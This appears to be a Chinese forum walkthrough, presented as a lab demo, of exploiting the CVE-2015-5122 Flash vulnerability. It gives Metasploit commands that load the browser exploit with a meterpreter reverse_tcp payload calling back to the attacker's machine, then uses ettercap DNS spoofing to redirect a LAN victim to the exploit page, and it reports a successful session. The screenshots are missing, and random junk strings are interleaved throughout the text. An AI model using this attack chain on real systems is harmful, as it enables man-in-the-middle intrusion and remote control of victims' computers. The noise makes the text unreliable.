cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 * y5 n6 v0 P6 N! K6 C

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

8 j" P0 ]: v2 [, [

search cve-2015-5122如图： 9 I2 E( |1 V% c. d3 E- P" D

5 _( V. J. u& A) m2 k4 O

 

下面我们敲如下命令： 9 r# e" M; |9 G( w2 A2 r

) |" t& ~% |" P7 P! O8 Y

; ~1 v7 t+ [+ Q" l9 A+ c use exploit/multi/browser/adobe_flash_opaque_background_uaf ! g' _9 i9 G9 w) W7 U7 k

set PAYLOAD windows/meterpreter/reverse_tcp & y3 `" u& [9 r2 Q! m

; v% z/ G& M& i" L( L& K0 l6 x set LHOST 192.168.0.109

set URIPATH /                        /*根目录*/

/ i3 i7 W$ `: L" o7 Y# R: m/ {

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 : l) ~0 ]* z% V: M1 C$ D! ]# ^ `/ z

$ Q& F4 w( l* J9 u: J: v& S

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 9 j$ u5 x7 p1 R# ?: m2 e

/ {0 H1 N7 e9 M3 ?4 {$ z7 Z 然后show options如图：

4 x$ q3 @# ]# c# H

9 }2 k$ Q1 K9 {% P   ; P) z" T- l. ?+ U) D4 H- Q1 x

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
$ W1 L$ v5 _9 f

# X# g4 U+ M, A4 z/ N' P- J( I

5 B8 x* j7 \4 b9 ^$ |' D1 u 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 4 J- ~4 `0 Q8 T, Y; k' `/ v* D

- a) u+ _1 ]3 B0 f* s Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf & ^: O. u- Q u$ Y7 D

 

; A) v" N# I: f4 y

+ [7 B* a& p: u# S, L 成功了，这时候我们断开ettercap，如图：

9 r- n; I' D: S   % H5 T) ^3 ]0 Q) w9 v

Screenshot如图： , h6 s; T) A) Q

6 n" \9 S4 G5 Z  

2 Q( _' x$ M" o* B* a4 n2 V

& z% @8 p) E1 [9 ^